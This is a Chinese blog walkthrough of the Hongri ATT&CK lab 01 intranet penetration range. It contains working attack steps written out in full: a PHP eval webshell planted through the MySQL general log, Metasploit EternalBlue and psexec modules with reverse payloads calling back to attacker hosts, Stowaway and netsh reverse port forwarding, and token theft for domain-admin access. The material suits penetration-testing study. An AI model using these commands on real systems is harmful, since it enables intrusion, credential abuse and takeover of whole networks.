红日靶场01多角度打靶笔记

红日靶场01

这个笔记主要是利用这个靶场环境,对内网渗透的思路进行整合一下,因此过程中会涉及多个攻击方式和思路。

环境搭建

  • windows7 是靶机01
  • Windows server 2008 R2 是靶机02
  • Windows server 2003 是靶机03
  • Windows 10 是攻击01
  • kali 是攻击02(cs服务端和msf都在上面)

这个靶场网络拓扑结构如下

image

攻击靶机01

访问http://192.168.111.128/

发现有php探针,可以看到php开了哪些参数
image
尝试Mysql账号密码root/root可以连接,使用Navicat连接后,发现拒绝外部连接。

于是使用ffuf对网站进行目录扫描
image

发现存在phpMyAdmin服务,尝试弱口令root/root,成功登陆后台
image

这时候可以尝试使用Mysql写文件,写文件的思路有secure_file_priv利用日志写shell

secure_file_priv

1.查询是否有写入权限

show global variables like '%secure%';

secure_file_priv值为NULL = 禁止导入导出

secure_file_priv值无具体值/为空 = 无限制

2.导出语句

outfile

select '<?php phpinfo(); ?>' into outfile "C:\\\\phpStudy\\MySQL\\bin\\1.php";

可多行输出,注意格式是a\raa\raaaa(使用\n则会留下\

dumpfile

select '<?php phpinfo(); ?>' into dumpfile "C:\\phpStudy\\MySQL\\bin\\1.php"; select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';

只能导出一行,在写⽂件时会保持⽂件的原⽣内容/原数据格式,适合写二进制文件

image

但是发现有限制,尝试写日志,在网站首页php指针处就能看到网站路径

利用日志写shell

查询权限

SHOW VARIABLES LIKE '%log%';

写入命令

SHOW VARIABLES LIKE '%log%';
SET GLOBAL general_log = ON;
SET GLOBAL general_log_file = 'C:\\phpStudy\\WWW\\shell1.php';
SELECT "<?php @eval($_REQUEST[shell]); phpinfo();?>";

写入后,访问一句话马的路径,http://192.168.111.128/shell1.php

image
使用蚁剑连接后,上传cs生成的马,拿到控制权

内网-攻击靶机02

内网扫描

上传gogo内网扫描工具,使用参数gogo.exe -i 192.168.52.1/24 -m s -e -v -af进行扫描,得到的dat文件下载下来
image

使用gogo.exe -F xxx.dat打开后,可以看到扫描结果
image
通过扫描结果可以看到,192.168.52.138和192.168.52.141均存在ms17-010漏洞

cs的shell转给msf

将cs与msf进行联动,方便进行漏洞利用

msf开启监听

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.163.111.130
msf6 exploit(multi/handler) > set lport 8001
msf6 exploit(multi/handler) > exploit

cs开启一个监听转发器
image

将shell再生成一个转发给这个监听器
image

image

选择后,就上线了。

提权

这里提权可以选择使用cs或者msf,如果选择cs,就先提权,将提权后的shell转发给msf。使用msf提权的话,则输入getsys提权即可

msf添加路由

为了使攻击机的msf能够访问到靶机2,需要在msf上添加路由

#新建路由
meterpreter > run post/multi/manage/autoroute
#查看新建路由
meterpreter > run autoroute -p
#挂起会话
meterpreter > background

添加后,想要对靶机02的ms17-010发起攻击,有两类payload,一个是bind正向,另一个是reverse反向。

msf正向攻击

msf6 exploit(multi/handler) > search ms17-010
msf6 exploit(multi/handler) > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.52.138
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 8080
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

但这个payload会失败,因为靶机02开了防火墙,8080端口不知道有没有放行。因此我尝试使用reverse反向攻击

反向代理搭建

但是使用反向攻击需要注意一点,靶机02并不能直接访问攻击机,所以在攻击机上进行监听是没有任何意义的。所以我们需要在靶机01上做一个反向端口转发,转发到攻击机上。我本来尝试使用msf中内置的portfwd进行反向端口转发,但发现它这个功能无效,我使用的命令meterpreter > portfwd add -R -L 192.168.111.130 -l 9001 -p 4444。所以这里上传使用stowaway多级内网代理工具。

在攻击机02(kali)上,使用linux_x64_admin -l 192.168.111.130:9001 -s bcbcbc启动管理服务

在靶机01上,上传windows_x64_agent.exe,并使用命令windows_x64_agent.exe -c 192.168.111.130:9001 -s bcbcbc --reconnect 4连接服务。

连接服务成功后,使用use 0进入靶机01的控制中心,使用backward 4444 4444命令,创建反向端口转发。靶机01监听4444端口,转发给攻击机02的4444端口。

至此,反向代理就搭建好了

这里我在测试的时候,还发现了一种方法,可以利用靶机01自带的netsh工具进行端口转发

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=192.168.111.130 connectport=4444

Windows自带的netsh工具,可以轻松将本地端口转发给外部服务器

  1. 打开命令提示符(CMD)作为管理员权限运行。

  2. 使用以下命令添加端口转发规则:

    netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
    
    • localaddress:本地计算机的IP地址。
    • localport:本地计算机上要监听的端口。
    • destaddress:要转发到的目标地址。
    • destport:要转发到的目标端口。

    例如,要将本地计算机上的本地端口80转发到远程服务器192.168.1.100的端口8080,您可以执行以下命令:

    netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=80 connectaddress=192.168.1.100 connectport=8080
    
  3. 验证端口转发是否成功:

    netsh interface portproxy show all
    
  4. 使用以下命令删除要修改的规则:

    netsh interface portproxy delete v4tov4 listenport=localport listenaddress=localaddress
    

msf反向攻击

msf6 exploit(multi/handler) > search ms17-010
msf6 exploit(multi/handler) > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_http
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.52.138
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.52.143
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

msf会默认监听攻击机02的4444端口,发送的攻击命令中,指向的是192.168.52.143:4444

多打几次,就会反弹成功。

image

msf的shell转给cs

在cs中,配置监听器。
image

在stowaway中开启端口映射backward 9001 9001

在msf中

msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/payload_inject
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > set LhOST 192.168.52.143
msf6 exploit(windows/local/payload_inject) > set lport 9001
msf6 exploit(windows/local/payload_inject) > set session 2
msf6 exploit(windows/local/payload_inject) > exploit

黄金票据攻击

进入靶机01中,收集如下信息

  • 查找域控,net time /domain ,然后解析域名名称,ping xxx
  • 查看域内主机,net view
  • 查看当前用户域信息,whoami /fqdn
  • 查看当前主机用户是否有域管理员用户,net group "domain admins" /domain

image

image

发现确实是域管理员,准备窃取令牌

首先进行进程迁移,迁移到域管理员启动的进程中
image

这里使用httpd进程

meterpreter > migrate 4752
meterpreter > getuid

image

测试smb能否访问
image

# 若能访问,则尝试上线
msf6 exploit(windows/smb/ms17_010_psexec) > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_http
msf6 exploit(windows/smb/psexec) > set rhosts 192.168.52.138	#这里可以写网段,进行hash喷洒
msf6 exploit(windows/smb/psexec) > set lhost 192.168.52.143
msf6 exploit(windows/smb/psexec) > set lport 4447
msf6 exploit(windows/smb/psexec) > set smbdomain GOD.ORG
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
msf6 exploit(windows/smb/psexec) > set smbpass hongrisec@2024

image
image

内网-攻击靶机03

在stowaway中开启端口映射backward 4447 4446,因为在攻击02中,4446被cs监听占用,所以msf攻击时会监听失败,算是一个bug吧。

因为靶机03是x86系统,所以msf需要更换exp

msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/reverse_http
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.52.141
msf6 exploit(windows/smb/ms17_010_psexec) > set lhost 192.168.52.143
msf6 exploit(windows/smb/ms17_010_psexec) > set lport 4447

image
执行后,cs那里上线
image

posted @ 2024-03-04 15:40  DumpInfou  阅读(252)  评论(0编辑  收藏  举报